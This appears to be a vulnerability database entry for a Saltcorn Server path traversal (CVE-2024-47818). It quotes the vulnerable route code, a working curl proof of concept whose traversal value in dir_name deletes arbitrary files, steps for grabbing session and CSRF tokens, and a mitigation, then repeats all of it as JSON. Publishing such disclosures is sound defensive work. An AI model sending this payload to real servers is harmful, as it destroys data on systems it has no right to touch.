GHSA-43F3-H63W-P6F6

Vulnerability from github – Published: 2024-10-07 15:10 – Updated: 2024-10-08 14:19
VLAI
Summary
Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
Details

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

  • file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

  • create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
  • log with a user and retrieve valid connect.sid and _csrf values***
  • send the following curl request
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
  • check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality: - log in - open the browser developer console, go to the Network tab filter for settings request - visit http://localhost:3000/auth/settings - trigger the change password functionality - under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-beta.15"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-07T15:10:52Z",
    "nvd_published_at": "2024-10-07T22:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) =\u003e {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: \u0027${error.message}\u0027`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $\u0027POST\u0027 \\\n  -H $\u0027Host: localhost:3000\u0027 \\\n  -H $\u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  -H $\u0027Content-Length: 93\u0027 \\\n  -H $\u0027Origin: http://localhost:3000\u0027 \\\n  -H $\u0027Connection: close\u0027 \\\n  -b $\u0027connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true\u0027 \\\n  --data-binary $\u0027_csrf=VALID_CSRF_VALUE\u0026dir_name=/../../../../../../../../../../tmp/secret\u0027 \\\n  $\u0027http://localhost:3000/sync/clean_sync_dir\u0027\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.",
  "id": "GHSA-43f3-h63w-p6f6",
  "modified": "2024-10-08T14:19:02Z",
  "published": "2024-10-07T15:10:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47818"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltcorn/saltcorn"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.